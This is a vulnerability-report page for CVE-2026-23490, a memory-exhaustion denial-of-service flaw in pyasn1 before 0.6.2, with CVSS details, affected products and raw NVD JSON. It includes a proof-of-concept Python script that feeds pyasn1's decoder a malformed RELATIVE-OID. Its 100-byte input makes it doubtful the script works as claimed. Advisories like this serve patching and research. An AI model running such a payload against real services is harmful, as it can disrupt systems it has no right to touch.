Security Vulnerability Report
中文
CVE-2026-23490 CVSS 7.5 HIGH

CVE-2026-23490

Published: 2026-01-16 19:16:19
Last Modified: 2026-03-13 14:19:35

Description

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pyasn1:pyasn1:*:*:*:*:*:python:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
pyasn1 < 0.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23490 PoC - pyasn1 RELATIVE-OID Memory Exhaustion This PoC demonstrates memory exhaustion via malformed RELATIVE-OID with excessive continuation octets. """ from pyasn1.codec.der import decoder import os def generate_malformed_relative_oid(): """ Generate a malformed RELATIVE-OID with excessive continuation octets. RELATIVE-OID encoding: each octet uses 7 bits for data, MSB as continuation flag. """ # Tag for RELATIVE-OID tag = b'\x0d' # Length (we'll construct a long encoding) # Create a number encoded with excessive continuation octets # Normal: small number uses 1-2 octets # Malicious: use many continuation octets for a single number malicious_data = b'\x80' * 100 # 100 continuation octets, all 1s, no terminating octet return tag + bytes([len(malicious_data)]) + malicious_data def trigger_vulnerability(): """ Trigger the memory exhaustion vulnerability in pyasn1. """ print("[*] Generating malformed RELATIVE-OID...") malformed_oid = generate_malformed_relative_oid() print(f"[*] Malformed data length: {len(malformed_oid)} bytes") print("[*] Attempting to decode malformed RELATIVE-OID...") try: # This will trigger excessive memory allocation result, remainder = decoder.decode(malformed_oid) print(f"[!] Unexpected success: {result}") except MemoryError: print("[!] MemoryError triggered - vulnerability confirmed") except Exception as e: print(f"[*] Exception occurred: {type(e).__name__}: {e}") if __name__ == "__main__": print("CVE-2026-23490 PoC - pyasn1 RELATIVE-OID DoS") print("=" * 50) trigger_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23490", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:19.117", "lastModified": "2026-03-13T14:19:34.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2."}, {"lang": "es", "value": "pyasn1 es una librería ASN.1 genérica para Python. Antes de la versión 0.6.2, se ha encontrado un problema de denegación de servicio que provoca el agotamiento de la memoria debido a un RELATIVE-OID malformado con octetos de continuación excesivos. Esta vulnerabilidad está corregida en la versión 0.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyasn1:pyasn1:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.6.2", "matchCriteriaId": "C70B68D3-480C-4132-84A7-CF1C31714EB2"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Vendor Advisory"]}]}}